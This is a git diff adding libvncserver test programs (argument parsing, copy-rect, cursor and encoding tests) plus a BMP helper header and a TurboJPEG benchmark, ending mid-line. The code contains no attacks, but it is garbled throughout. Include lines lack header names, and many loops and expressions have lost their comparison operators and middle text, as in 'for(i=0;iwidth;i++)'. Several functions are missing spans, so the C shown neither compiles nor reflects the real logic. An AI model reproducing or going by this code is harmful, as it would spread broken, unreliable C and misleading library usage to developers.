b/3rdparty/libvncserver/test/bmp.h new file mode 100644 index 0000000..9d1c263 --- /dev/null +++ b/3rdparty/libvncserver/test/bmp.h @@ -0,0 +1,53 @@ +/* Copyright (C)2004 Landmark Graphics Corporation + * Copyright (C)2005 Sun Microsystems, Inc. + * Copyright (C)2011 D. R. Commander + * + * This library is free software and may be redistributed and/or modified under + * the terms of the wxWindows Library License, Version 3.1 or (at your option) + * any later version. The full license is in the LICENSE.txt file included + * with this distribution. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * wxWindows Library License for more details. +*/ + +/* This provides rudimentary facilities for loading and saving true color */ +/* BMP and PPM files */ + +#ifndef __BMP_H__ +#define __BMP_H__ + +#define BMPPIXELFORMATS 6 +enum BMPPIXELFORMAT {BMP_RGB=0, BMP_RGBX, BMP_BGR, BMP_BGRX, BMP_XBGR, BMP_XRGB}; + +#ifdef __cplusplus +extern "C" { +#endif + +/* + * This will load a Windows bitmap from a file and return a buffer with the + * specified pixel format, scanline alignment, and orientation. The width and + * height are returned in w and h. + */ + +int loadbmp(char *filename, unsigned char **buf, int *w, int *h, + enum BMPPIXELFORMAT f, int align, int dstbottomup); + +/* + * This will save a buffer with the specified pixel format, pitch, orientation, + * width, and height as a 24-bit Windows bitmap or PPM (the filename determines + * which format to use) + */ + +int savebmp(char *filename, unsigned char *buf, int w, int h, + enum BMPPIXELFORMAT f, int srcpitch, int srcbottomup); + +const char *bmpgeterr(void); + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/3rdparty/libvncserver/test/cargstest.c b/3rdparty/libvncserver/test/cargstest.c new file mode 100644 index 0000000..e2b97ee --- /dev/null +++ b/3rdparty/libvncserver/test/cargstest.c @@ -0,0 +1,32 @@ +#include + +int main(int argc,char** argv) +{ + int fake_argc=6; + char* fake_argv[6]={ + "dummy_program","-alwaysshared","-httpport","3002","-nothing","-dontdisconnect" + }; + rfbScreenInfoPtr screen; + rfbBool ret=0; + + screen = rfbGetScreen(&fake_argc,fake_argv,1024,768,8,3,1); + if(!screen) + return 0; + +#define CHECK(a,b) if(screen->a!=b) { fprintf(stderr,#a " is %d (should be " #b ")\n",screen->a); ret=1; } + CHECK(width,1024); + CHECK(height,768); + CHECK(alwaysShared,TRUE); + CHECK(httpPort,3002); + CHECK(dontDisconnect,TRUE); + if(fake_argc!=2) { + fprintf(stderr,"fake_argc is %d (should be 2)\n",fake_argc); + ret=1; + } + if(strcmp(fake_argv[1],"-nothing")) { + fprintf(stderr,"fake_argv[1] is %s (should be -nothing)\n",fake_argv[1]); + ret=1; + } + return ret; +} + diff --git a/3rdparty/libvncserver/test/copyrecttest.c b/3rdparty/libvncserver/test/copyrecttest.c new file mode 100644 index 0000000..b3d3ada --- /dev/null +++ b/3rdparty/libvncserver/test/copyrecttest.c @@ -0,0 +1,56 @@ +#ifdef __STRICT_ANSI__ +#define _BSD_SOURCE +#endif +#include +#define _USE_MATH_DEFINES +#include + +static void initBackground(rfbScreenInfoPtr server) +{ + unsigned int i,j; + + for(i=0;iwidth;i++) + for(j=0;jheight;j++) { + server->frameBuffer[(j*server->width+i)*4+0]=i&0xff; + server->frameBuffer[(j*server->width+i)*4+1]=j&0xff; + server->frameBuffer[(j*server->width+i)*4+2]=(i*j)&0xff; + } +} + +int main(int argc,char** argv) +{ + int width=400,height=300,w=20,x,y; + double r,phi=0; + + rfbScreenInfoPtr server=rfbGetScreen(&argc,argv,width,height,8,3,4); + if(!server) + return 0; + server->frameBuffer=(char*)malloc(width*height*4); + initBackground(server); + server->deferUpdateTime=0; + rfbInitServer(server); + + r=0; + while(1) { + if(r<=0) { + initBackground(server); + rfbMarkRectAsModified(server,0,0,width,height); + r=0.43; + phi=0; + } else { + r-=0.0001; + phi+=0.02; + if(phi>2*M_PI) + phi-=2*M_PI; + } + x=width*(0.5+cos(phi)*r); + y=height*(0.5+sin(phi)*r); + if(x>=0 && y>=0 && x+w<=width && y+w<=height) { + unsigned int dx=width*0.5*(1-cos(phi)*r)-x, + dy=height*0.5*(1-sin(phi)*r)-y; + rfbDoCopyRect(server,x,y,x+w,y+w,-dx,-dy); + } + rfbProcessEvents(server,50000); + } + return(0); +} diff --git a/3rdparty/libvncserver/test/cursortest.c b/3rdparty/libvncserver/test/cursortest.c new file mode 100644 index 0000000..78c37e3 --- /dev/null +++ b/3rdparty/libvncserver/test/cursortest.c @@ -0,0 +1,353 @@ +/* + * + * This is an example of how to use libvncserver. + * + * libvncserver example + * Copyright (C) 2005 Johannes E. Schindelin , + * Karl Runge + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#include + +static const int bpp=4; +static int maxx=800, maxy=600; + +/* This initializes a nice (?) background */ + +static void initBuffer(unsigned char* buffer) +{ + int i,j; + for(j=0;jxhot=width/2;c->yhot=height/2; + + rfbSetCursor(rfbScreen, c); +} + +static void SetXCursor2(rfbScreenInfoPtr rfbScreen) +{ + int width=13,height=22; + char cursor[]= + " xx " + " x x " + " x x " + " x x " + " x x " + " x x " + " x x " + " x x " + " x xx x " + " x x x xxx " + " x xx x x " + " xx x x " + " xx x x " + " x x x " + " x x x " + " x x " + " x x " + " x x " + " xx " + " " + " ", + mask[]= + "xxx " + "xxxx " + "xxxxx " + "xxxxxx " + "xxxxxxx " + "xxxxxxxx " + "xxxxxxxxx " + "xxxxxxxxxx " + "xxxxxxxxxxx " + "xxxxxxxxxxxx " + "xxxxxxxxxxxxx" + "xxxxxxxxxxxxx" + "xxxxxxxxxx x" + "xxxxxxxxxx " + "xxx xxxxxx " + "xxx xxxxxx " + "xx xxxxxx " + " xxxxx " + " xxxxxx" + " xxxxx" + " xxx " + " "; + rfbCursorPtr c; + + c=rfbMakeXCursor(width,height,cursor,mask); + c->xhot=0;c->yhot=0; + + rfbSetCursor(rfbScreen, c); +} + +/* Example for a rich cursor (full-colour) */ + +static void SetRichCursor(rfbScreenInfoPtr rfbScreen) +{ + int i,j,w=32,h=32; + /* runge */ + /* rfbCursorPtr c = rfbScreen->cursor; */ + rfbCursorPtr c; + char bitmap[]= + " " + " xxxxxx " + " xxxxxxxxxxxxxxxxx " + " xxxxxxxxxxxxxxxxxxxxxx " + " xxxxx xxxxxxxx xxxxxxxx " + " xxxxxxxxxxxxxxxxxxxxxxxxxxx " + " xxxxxxxxxxxxxxxxxxxxxxxxxxxxx " + " xxxxx xxxxxxxxxxx xxxxxxx " + " xxxx xxxxxxxxx xxxxxx " + " xxxxx xxxxxxxxxxx xxxxxxx " + " xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx " + " xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx " + " xxxxxxxxxxxx xxxxxxxxxxxxxxx " + " xxxxxxxxxxxxxxxxxxxxxxxxxxxx " + " xxxxxxxxxxxxxxxxxxxxxxxxxxxx " + " xxxxxxxxxxx xxxxxxxxxxxxxx " + " xxxxxxxxxx xxxxxxxxxxxx " + " xxxxxxxxx xxxxxxxxx " + " xxxxxxxxxx xxxxxxxxx " + " xxxxxxxxxxxxxxxxxxx " + " xxxxxxxxxxxxxxxxxxx " + " xxxxxxxxxxxxxxxxxxx " + " xxxxxxxxxxxxxxxxx " + " xxxxxxxxxxxxxxx " + " xxxx xxxxxxxxxxxxx " + " xx x xxxxxxxxxxx " + " xxx xxxxxxxxxxx " + " xxxx xxxxxxxxxxx " + " xxxxxx xxxxxxxxxxxx " + " xxxxxxxxxxxxxxxxxxxxxx " + " xxxxxxxxxxxxxxxx " + " "; + + c=rfbMakeXCursor(w,h,bitmap,bitmap); + c->xhot = 16; c->yhot = 24; + + c->richSource = (char*)malloc(w*h*bpp); + for(j=0;jrichSource[j*w*bpp+i*bpp+0]=i*0xff/w; + c->richSource[j*w*bpp+i*bpp+1]=(i+j)*0xff/(w+h); + c->richSource[j*w*bpp+i*bpp+2]=j*0xff/h; + c->richSource[j*w*bpp+i*bpp+3]=0; + } + } + rfbSetCursor(rfbScreen, c); +} + +/* runge */ +static void SetRichCursor2(rfbScreenInfoPtr rfbScreen) +{ + int i,j,w=17,h=16; + /* rfbCursorPtr c = rfbScreen->cursor; */ + rfbCursorPtr c; + char bitmap[]= + " " + "xxxx " + "xxxxxxxx " + "xxxxxxxxxxxx x" + "xxx xxxxxxxx x" + "xxxxxxxxxxxxxx x" + "xxxxxxxxxxxxxxx x" + "xxxxx xxxxxxx x" + "xxxx xxxxxx x" + "xxxxx xxxxxxx x" + "xxxxxxxxxxxxxxx x" + "xxxxxxxxxxxxxxx x" + "xxxxxxxxxxxxxx x" + "xxxxxxxxxxxxx x" + "xxxxxxxxxxxxx x" + "xxxxxxxxxxxxx x"; + /* c=rfbScreen->cursor = rfbMakeXCursor(w,h,bitmap,bitmap); */ + c=rfbMakeXCursor(w,h,bitmap,bitmap); + c->xhot = 5; c->yhot = 7; + + c->richSource = (char*)malloc(w*h*bpp); + for(j=0;jrichSource[j*w*bpp+i*bpp+0]=0xff; + c->richSource[j*w*bpp+i*bpp+1]=0x00; + c->richSource[j*w*bpp+i*bpp+2]=0x7f; + c->richSource[j*w*bpp+i*bpp+3]=0; + } + } + rfbSetCursor(rfbScreen, c); +} + +/* alpha channel */ + +static void SetAlphaCursor(rfbScreenInfoPtr screen,int mode) +{ + int i,j; + rfbCursorPtr c = screen->cursor; + int maskStride=(c->width+7)/8; + + if(!c) + return; + + if(c->alphaSource) { + free(c->alphaSource); + c->alphaSource=NULL; + } + + if(mode==0) + return; + + c->alphaSource = (unsigned char*)malloc(c->width*c->height); + + for(j=0;jheight;j++) + for(i=0;iwidth;i++) { + unsigned char value=0x100*i/c->width; + rfbBool masked=(c->mask[(i/8)+maskStride*j]<<(i&7))&0x80; + c->alphaSource[i+c->width*j]=(masked?(mode==1?value:0xff-value):0); + } + if(c->cleanupMask) + free(c->mask); + c->mask=rfbMakeMaskFromAlphaSource(c->width,c->height,c->alphaSource); + c->cleanupMask=TRUE; +} + +/* Here the pointer events are handled */ + +static void doptr(int buttonMask,int x,int y,rfbClientPtr cl) +{ + static int oldButtonMask=0; + static int counter=0; + + if((oldButtonMask&1)==0 && (buttonMask&1)==1) { + switch(++counter) { + case 7: + SetRichCursor(cl->screen); + SetAlphaCursor(cl->screen,2); + break; + case 6: + SetRichCursor(cl->screen); + SetAlphaCursor(cl->screen,1); + break; + case 5: + SetRichCursor2(cl->screen); + SetAlphaCursor(cl->screen,0); + break; + case 4: + SetXCursor(cl->screen); + break; + case 3: + SetRichCursor2(cl->screen); + SetAlphaCursor(cl->screen,2); + break; + case 2: + SetXCursor(cl->screen); + SetAlphaCursor(cl->screen,2); + break; + case 1: + SetXCursor2(cl->screen); + SetAlphaCursor(cl->screen,0); + break; + default: + SetRichCursor(cl->screen); + counter=0; + } + } + if(buttonMask&2) { + rfbScreenCleanup(cl->screen); + exit(0); + } + + if(buttonMask&4) + rfbCloseClient(cl); + + + oldButtonMask=buttonMask; + + rfbDefaultPtrAddEvent(buttonMask,x,y,cl); +} + +/* Initialization */ + +int main(int argc,char** argv) +{ + rfbScreenInfoPtr rfbScreen = rfbGetScreen(&argc,argv,maxx,maxy,8,3,bpp); + if(!rfbScreen) + return 0; + + rfbScreen->desktopName = "Cursor Test"; + rfbScreen->frameBuffer = (char*)malloc(maxx*maxy*bpp); + rfbScreen->ptrAddEvent = doptr; + + initBuffer((unsigned char*)rfbScreen->frameBuffer); + + + SetRichCursor(rfbScreen); + + /* initialize the server */ + rfbInitServer(rfbScreen); + + rfbLog("Change cursor shape with left mouse button,\n\t" + "quit with right one (middle button quits server).\n"); + + /* this is the blocking event loop, i.e. it never returns */ + /* 40000 are the microseconds to wait on select(), i.e. 0.04 seconds */ + rfbRunEventLoop(rfbScreen,40000,FALSE); + + free(rfbScreen->frameBuffer); + rfbScreenCleanup(rfbScreen); + + return(0); +} + diff --git a/3rdparty/libvncserver/test/encodingstest.c b/3rdparty/libvncserver/test/encodingstest.c new file mode 100644 index 0000000..715e887 --- /dev/null +++ b/3rdparty/libvncserver/test/encodingstest.c @@ -0,0 +1,339 @@ +#ifdef __STRICT_ANSI__ +#define _BSD_SOURCE +#endif +#include +#include +#include +#include + +#ifndef LIBVNCSERVER_HAVE_LIBPTHREAD +#error This test need pthread support (otherwise the client blocks the client) +#endif + +#define ALL_AT_ONCE +/*#define VERY_VERBOSE*/ + +static MUTEX(frameBufferMutex); + +typedef struct { int id; char* str; } encoding_t; +static encoding_t testEncodings[]={ + { rfbEncodingRaw, "raw" }, + { rfbEncodingRRE, "rre" }, + { rfbEncodingCoRRE, "corre" }, + { rfbEncodingHextile, "hextile" }, + { rfbEncodingUltra, "ultra" }, +#ifdef LIBVNCSERVER_HAVE_LIBZ + { rfbEncodingZlib, "zlib" }, + { rfbEncodingZlibHex, "zlibhex" }, + { rfbEncodingZRLE, "zrle" }, + { rfbEncodingZYWRLE, "zywrle" }, +#ifdef LIBVNCSERVER_HAVE_LIBJPEG + { rfbEncodingTight, "tight" }, +#endif +#endif + { 0, NULL } +}; + +#define NUMBER_OF_ENCODINGS_TO_TEST (sizeof(testEncodings)/sizeof(encoding_t)-1) +/*#define NUMBER_OF_ENCODINGS_TO_TEST 1*/ + +/* Here come the variables/functions to handle the test output */ + +static const int width=400,height=300; +static unsigned int statistics[2][NUMBER_OF_ENCODINGS_TO_TEST]; +static unsigned int totalFailed,totalCount; +static unsigned int countGotUpdate; +static MUTEX(statisticsMutex); + +static void initStatistics(void) { + memset(statistics[0],0,sizeof(int)*NUMBER_OF_ENCODINGS_TO_TEST); + memset(statistics[1],0,sizeof(int)*NUMBER_OF_ENCODINGS_TO_TEST); + totalFailed=totalCount=0; + INIT_MUTEX(statisticsMutex); +} + + +static void updateStatistics(int encodingIndex,rfbBool failed) { + LOCK(statisticsMutex); + if(failed) { + statistics[1][encodingIndex]++; + totalFailed++; + } + statistics[0][encodingIndex]++; + totalCount++; + countGotUpdate++; + UNLOCK(statisticsMutex); +} + +/* Here begin the functions for the client. They will be called in a + * pthread. */ + +/* maxDelta=0 means they are expected to match exactly; + * maxDelta>0 means that the average difference must be lower than maxDelta */ +static rfbBool doFramebuffersMatch(rfbScreenInfo* server,rfbClient* client, + int maxDelta) +{ + int i,j,k; + unsigned int total=0,diff=0; + if(server->width!=client->width || server->height!=client->height) + return FALSE; + LOCK(frameBufferMutex); + /* TODO: write unit test for colour transformation, use here, too */ + for(i=0;iwidth;i++) + for(j=0;jheight;j++) + for(k=0;k<3/*server->serverFormat.bitsPerPixel/8*/;k++) { + unsigned char s=server->frameBuffer[k+i*4+j*server->paddedWidthInBytes]; + unsigned char cl=client->frameBuffer[k+i*4+j*client->width*4]; + + if(maxDelta==0 && s!=cl) { + UNLOCK(frameBufferMutex); + return FALSE; + } else { + total++; + diff+=(s>cl?s-cl:cl-s); + } + } + UNLOCK(frameBufferMutex); + if(maxDelta>0 && diff/total>=maxDelta) + return FALSE; + return TRUE; +} + +static rfbBool resize(rfbClient* cl) { + if(cl->frameBuffer) + free(cl->frameBuffer); + cl->frameBuffer=malloc(cl->width*cl->height*cl->format.bitsPerPixel/8); + if(!cl->frameBuffer) + return FALSE; + SendFramebufferUpdateRequest(cl,0,0,cl->width,cl->height,FALSE); + return TRUE; +} + +typedef struct clientData { + int encodingIndex; + rfbScreenInfo* server; + char* display; +} clientData; + +static void update(rfbClient* client,int x,int y,int w,int h) { +#ifndef VERY_VERBOSE + + static const char* progress="|/-\\"; + static int counter=0; + + if(++counter>sizeof(progress)) counter=0; + fprintf(stderr,"%c\r",progress[counter]); +#else + clientData* cd=(clientData*)client->clientData; + rfbClientLog("Got update (encoding=%s): (%d,%d)-(%d,%d)\n", + testEncodings[cd->encodingIndex].str, + x,y,x+w,y+h); +#endif +} + +static void update_finished(rfbClient* client) { + clientData* cd=(clientData*)client->clientData; + int maxDelta=0; + +#ifdef LIBVNCSERVER_HAVE_LIBZ + if(testEncodings[cd->encodingIndex].id==rfbEncodingZYWRLE) + maxDelta=5; +#ifdef LIBVNCSERVER_HAVE_LIBJPEG + if(testEncodings[cd->encodingIndex].id==rfbEncodingTight) + maxDelta=5; +#endif +#endif + updateStatistics(cd->encodingIndex, + !doFramebuffersMatch(cd->server,client,maxDelta)); +} + + +static void* clientLoop(void* data) { + rfbClient* client=(rfbClient*)data; + clientData* cd=(clientData*)client->clientData; + + client->appData.encodingsString=strdup(testEncodings[cd->encodingIndex].str); + client->appData.qualityLevel = 7; /* ZYWRLE fails the test with standard settings */ + + sleep(1); + rfbClientLog("Starting client (encoding %s, display %s)\n", + testEncodings[cd->encodingIndex].str, + cd->display); + if(!rfbInitClient(client,NULL,NULL)) { + rfbClientErr("Had problems starting client (encoding %s)\n", + testEncodings[cd->encodingIndex].str); + updateStatistics(cd->encodingIndex,TRUE); + return NULL; + } + while(1) { + if(WaitForMessage(client,50)>=0) + if(!HandleRFBServerMessage(client)) + break; + } + free(((clientData*)client->clientData)->display); + free(client->clientData); + client->clientData = NULL; + if(client->frameBuffer) + free(client->frameBuffer); + rfbClientCleanup(client); + return NULL; +} + +static pthread_t all_threads[NUMBER_OF_ENCODINGS_TO_TEST]; +static int thread_counter; + +static void startClient(int encodingIndex,rfbScreenInfo* server) { + rfbClient* client=rfbGetClient(8,3,4); + clientData* cd; + + client->clientData=malloc(sizeof(clientData)); + client->MallocFrameBuffer=resize; + client->GotFrameBufferUpdate=update; + client->FinishedFrameBufferUpdate=update_finished; + + cd=(clientData*)client->clientData; + cd->encodingIndex=encodingIndex; + cd->server=server; + cd->display=(char*)malloc(6); + sprintf(cd->display,":%d",server->port-5900); + + pthread_create(&all_threads[thread_counter++],NULL,clientLoop,(void*)client); +} + +/* Here begin the server functions */ + +static void idle(rfbScreenInfo* server) +{ + int c; + rfbBool goForward; + + LOCK(statisticsMutex); +#ifdef ALL_AT_ONCE + goForward=(countGotUpdate==NUMBER_OF_ENCODINGS_TO_TEST); +#else + goForward=(countGotUpdate==1); +#endif + + UNLOCK(statisticsMutex); + if(!goForward) + return; + countGotUpdate=0; + + LOCK(frameBufferMutex); + { + int i,j; + int x1=(rand()%(server->width-1)),x2=(rand()%(server->width-1)), + y1=(rand()%(server->height-1)),y2=(rand()%(server->height-1)); + if(x1>x2) { i=x1; x1=x2; x2=i; } + if(y1>y2) { i=y1; y1=y2; y2=i; } + x2++; y2++; + for(c=0;c<3;c++) { + for(i=x1;iframeBuffer[i*4+c+j*server->paddedWidthInBytes]=255*(i-x1+j-y1)/(x2-x1+y2-y1); + } + rfbMarkRectAsModified(server,x1,y1,x2,y2); + +#ifdef VERY_VERBOSE + rfbLog("Sent update (%d,%d)-(%d,%d)\n",x1,y1,x2,y2); +#endif + } + UNLOCK(frameBufferMutex); +} + +/* log function (to show what messages are from the client) */ + +static void +rfbTestLog(const char *format, ...) +{ + va_list args; + char buf[256]; + time_t log_clock; + + if(!rfbEnableClientLogging) + return; + + va_start(args, format); + + time(&log_clock); + strftime(buf, 255, "%d/%m/%Y %X (client) ", localtime(&log_clock)); + fprintf(stderr,"%s",buf); + + vfprintf(stderr, format, args); + fflush(stderr); + + va_end(args); +} + +/* the main function */ + +int main(int argc,char** argv) +{ + int i,j; + time_t t; + rfbScreenInfoPtr server; + + rfbClientLog=rfbTestLog; + rfbClientErr=rfbTestLog; + + /* Initialize server */ + server=rfbGetScreen(&argc,argv,width,height,8,3,4); + if(!server) + return 0; + + server->frameBuffer=malloc(400*300*4); + server->cursor=NULL; + for(j=0;j<400*300*4;j++) + server->frameBuffer[j]=j; + rfbInitServer(server); + rfbProcessEvents(server,0); + + initStatistics(); + +#ifndef ALL_AT_ONCE + for(i=0;iframeBuffer); + rfbScreenCleanup(server); + + rfbLog("Statistics:\n"); + for(i=0;i +#include +#include +#include +#include +#include "./bmp.h" +#include "./tjutil.h" +#include "./turbojpeg.h" + + +#define _throw(op, err) { \ + printf("ERROR in line %d while %s:\n%s\n", __LINE__, op, err); \ + (void)retval; /* silence warning */ \ + retval=-1; goto bailout;} +#define _throwunix(m) _throw(m, strerror(errno)) +#define _throwtj(m) _throw(m, tjGetErrorStr()) +#define _throwbmp(m) _throw(m, bmpgeterr()) + +int flags=0, decomponly=0, quiet=0, dotile=0, pf=TJPF_BGR; +char *ext="ppm"; +const char *pixFormatStr[TJ_NUMPF]= +{ + "RGB", "BGR", "RGBX", "BGRX", "XBGR", "XRGB", "GRAY" +}; +const int bmpPF[TJ_NUMPF]= +{ + BMP_RGB, BMP_BGR, BMP_RGBX, BMP_BGRX, BMP_XBGR, BMP_XRGB, -1 +}; +const char *subNameLong[TJ_NUMSAMP]= +{ + "4:4:4", "4:2:2", "4:2:0", "GRAY", "4:4:0" +}; +const char *subName[NUMSUBOPT]={"444", "422", "420", "GRAY", "440"}; +tjscalingfactor *scalingfactors=NULL, sf={1, 1}; int nsf=0; +double benchtime=5.0; + + +char *sigfig(double val, int figs, char *buf, int len) +{ + char format[80]; + int digitsafterdecimal=figs-(int)ceil(log10(fabs(val))); + if(digitsafterdecimal<1) snprintf(format, 80, "%%.0f"); + else snprintf(format, 80, "%%.%df", digitsafterdecimal); + snprintf(buf, len, format, val); + return buf; +} + + +/* Decompression test */ +int decomptest(unsigned char *srcbuf, unsigned char **jpegbuf, + unsigned long *jpegsize, unsigned char *dstbuf, int w, int h, + int subsamp, int jpegqual, char *filename, int tilew, int tileh) +{ + char tempstr[1024], sizestr[20]="\0", qualstr[6]="\0", *ptr; + FILE *file=NULL; tjhandle handle=NULL; + int row, col, i, dstbufalloc=0, retval=0; + double start, elapsed; + int ps=tjPixelSize[pf]; + int bufsize; + int scaledw=TJSCALED(w, sf); + int scaledh=TJSCALED(h, sf); + int pitch=scaledw*ps; + int ntilesw=(w+tilew-1)/tilew, ntilesh=(h+tileh-1)/tileh; + unsigned char *dstptr, *dstptr2; + + if(jpegqual>0) + { + snprintf(qualstr, 6, "_Q%d", jpegqual); + qualstr[5]=0; + } + + if((handle=tjInitDecompress())==NULL) + _throwtj("executing tjInitDecompress()"); + + bufsize=pitch*scaledh; + if(dstbuf==NULL) + { + if((dstbuf=(unsigned char *)malloc(bufsize)) == NULL) + _throwunix("allocating image buffer"); + dstbufalloc=1; + } + /* Set the destination buffer to gray so we know whether the decompressor + attempted to write to it */ + memset(dstbuf, 127, bufsize); + + /* Execute once to preload cache */ + if(tjDecompress2(handle, jpegbuf[0], jpegsize[0], dstbuf, scaledw, + pitch, scaledh, pf, flags)==-1) + _throwtj("executing tjDecompress2()"); + + /* Benchmark */ + for(i=0, start=gettime(); (elapsed=gettime()-start) Frame rate: %f fps\n", (double)i/elapsed); + printf(" Dest. throughput: %f Megapixels/sec\n", + (double)(w*h)/1000000.*(double)i/elapsed); + } + if(sf.num!=1 || sf.denom!=1) + snprintf(sizestr, 20, "%d_%d", sf.num, sf.denom); + else if(tilew!=w || tileh!=h) + snprintf(sizestr, 20, "%dx%d", tilew, tileh); + else snprintf(sizestr, 20, "full"); + if(decomponly) + snprintf(tempstr, 1024, "%s_%s.%s", filename, sizestr, ext); + else + snprintf(tempstr, 1024, "%s_%s%s_%s.%s", filename, subName[subsamp], + qualstr, sizestr, ext); + if(savebmp(tempstr, dstbuf, scaledw, scaledh, bmpPF[pf], pitch, + (flags&TJFLAG_BOTTOMUP)!=0)==-1) + _throwbmp("saving bitmap"); + ptr=strrchr(tempstr, '.'); + snprintf(ptr, 1024-(ptr-tempstr), "-err.%s", ext); + if(srcbuf && sf.num==1 && sf.denom==1) + { + if(!quiet) printf("Compression error written to %s.\n", tempstr); + if(subsamp==TJ_GRAYSCALE) + { + int index, index2; + for(row=0, index=0; row255) y=255; + if(y<0) y=0; + dstbuf[rindex]=abs(dstbuf[rindex]-y); + dstbuf[gindex]=abs(dstbuf[gindex]-y); + dstbuf[bindex]=abs(dstbuf[bindex]-y); + } + } + } + else + { + for(row=0; row>>>> %s (%s) <--> JPEG %s Q%d <<<<<\n", pixFormatStr[pf], + (flags&TJFLAG_BOTTOMUP)? "Bottom-up":"Top-down", subNameLong[subsamp], + jpegqual); + + for(tilew=dotile? 8:w, tileh=dotile? 8:h; ; tilew*=2, tileh*=2) + { + if(tilew>w) tilew=w; + if(tileh>h) tileh=h; + ntilesw=(w+tilew-1)/tilew; ntilesh=(h+tileh-1)/tileh; + + if((jpegbuf=(unsigned char **)malloc(sizeof(unsigned char *) + *ntilesw*ntilesh))==NULL) + _throwunix("allocating JPEG tile array"); + memset(jpegbuf, 0, sizeof(unsigned char *)*ntilesw*ntilesh); + if((jpegsize=(unsigned long *)malloc(sizeof(unsigned long) + *ntilesw*ntilesh))==NULL) + _throwunix("allocating JPEG size array"); + memset(jpegsize, 0, sizeof(unsigned long)*ntilesw*ntilesh); + + for(i=0; i Frame rate: %f fps\n", (double)i/elapsed); + printf(" Output image size: %d bytes\n", totaljpegsize); + printf(" Compression ratio: %f:1\n", + (double)(w*h*ps)/(double)totaljpegsize); + printf(" Source throughput: %f Megapixels/sec\n", + (double)(w*h)/1000000.*(double)i/elapsed); + printf(" Output bit stream: %f Megabits/sec\n", + (double)totaljpegsize*8./1000000.*(double)i/elapsed); + } + if(tilew==w && tileh==h) + { + snprintf(tempstr, 1024, "%s_%s_Q%d.jpg", filename, subName[subsamp], + jpegqual); + if((file=fopen(tempstr, "wb"))==NULL) + _throwunix("opening reference image"); + if(fwrite(jpegbuf[0], jpegsize[0], 1, file)!=1) + _throwunix("writing reference image"); + fclose(file); file=NULL; + if(!quiet) printf("Reference image written to %s\n", tempstr); + } + + /* Decompression test */ + if(decomptest(srcbuf, jpegbuf, jpegsize, tmpbuf, w, h, subsamp, jpegqual, + filename, tilew, tileh)==-1) + goto bailout; + + for(i=0; i>>>> JPEG %s --> %s (%s) <<<<<\n", subNameLong[subsamp], + pixFormatStr[pf], (flags&TJFLAG_BOTTOMUP)? "Bottom-up":"Top-down"); + } + + for(tilew=dotile? 16:w, tileh=dotile? 16:h; ; tilew*=2, tileh*=2) + { + if(tilew>w) tilew=w; + if(tileh>h) tileh=h; + ntilesw=(w+tilew-1)/tilew; ntilesh=(h+tileh-1)/tileh; + + if((jpegbuf=(unsigned char **)malloc(sizeof(unsigned char *) + *ntilesw*ntilesh))==NULL) + _throwunix("allocating JPEG tile array"); + memset(jpegbuf, 0, sizeof(unsigned char *)*ntilesw*ntilesh); + if((jpegsize=(unsigned long *)malloc(sizeof(unsigned long) + *ntilesw*ntilesh))==NULL) + _throwunix("allocating JPEG size array"); + memset(jpegsize, 0, sizeof(unsigned long)*ntilesw*ntilesh); + + for(i=0; i %d x %d", TJSCALED(_w, sf), TJSCALED(_h, sf)); + printf("\n"); + } + else if(quiet==1) + { + printf("%s\t%s\t%s\t", pixFormatStr[pf], + (flags&TJFLAG_BOTTOMUP)? "BU":"TD", subNameLong[subsamp]); + printf("%-4d %-4d\t", tilew, tileh); + } + + _subsamp=subsamp; + if(quiet==1) printf("N/A\tN/A\t"); + jpegsize[0]=srcsize; + memcpy(jpegbuf[0], srcbuf, srcsize); + + if(w==tilew) _tilew=_w; + if(h==tileh) _tileh=_h; + if(decomptest(NULL, jpegbuf, jpegsize, NULL, _w, _h, _subsamp, 0, + filename, _tilew, _tileh)==-1) + goto bailout; + else if(quiet==1) printf("N/A\n"); + + for(i=0; i <%% Quality> [options]\n\n"); + printf(" %s\n", progname); + printf(" [options]\n\n"); + printf("Options:\n\n"); + printf("-bmp = Generate output images in Windows Bitmap format (default=PPM)\n"); + printf("-bottomup = Test bottom-up compression/decompression\n"); + printf("-tile = Test performance of the codec when the image is encoded as separate\n"); + printf(" tiles of varying sizes.\n"); + printf("-forcemmx, -forcesse, -forcesse2, -forcesse3 =\n"); + printf(" Force MMX, SSE, SSE2, or SSE3 code paths in the underlying codec\n"); + printf("-rgb, -bgr, -rgbx, -bgrx, -xbgr, -xrgb =\n"); + printf(" Test the specified color conversion path in the codec (default: BGR)\n"); + printf("-fastupsample = Use fast, inaccurate upsampling code to perform 4:2:2 and 4:2:0\n"); + printf(" YUV decoding\n"); + printf("-quiet = Output results in tabular rather than verbose format\n"); + printf("-scale M/N = scale down the width/height of the decompressed JPEG image by a\n"); + printf(" factor of M/N (M/N = "); + for(i=0; i2) + { + if(i!=nsf-1) printf(", "); + if(i==nsf-2) printf("or "); + } + } + printf(")\n"); + printf("-benchtime = Run each benchmark for at least seconds (default = 5.0)\n\n"); + printf("NOTE: If the quality is specified as a range (e.g. 90-100), a separate\n"); + printf("test will be performed for all quality values in the range.\n\n"); + exit(1); +} + + +int main(int argc, char *argv[]) +{ + unsigned char *srcbuf=NULL; int w, h, i, j; + int minqual=-1, maxqual=-1; char *temp; + int minarg=2; int retval=0; + + if((scalingfactors=tjGetScalingFactors(&nsf))==NULL || nsf==0) + _throwtj("executing tjGetScalingFactors()"); + + if(argc100) + { + puts("ERROR: Quality must be between 1 and 100."); + exit(1); + } + if((temp=strchr(argv[2], '-'))!=NULL && strlen(temp)>1 + && sscanf(&temp[1], "%d", &maxqual)==1 && maxqual>minqual && maxqual>=1 + && maxqual<=100) {} + else maxqual=minqual; + } + + if(argc>minarg) + { + for(i=minarg; i0.0) benchtime=temp; + else usage(argv[0]); + } + if(!strcmp(argv[i], "-?")) usage(argv[0]); + if(!strcasecmp(argv[i], "-bmp")) 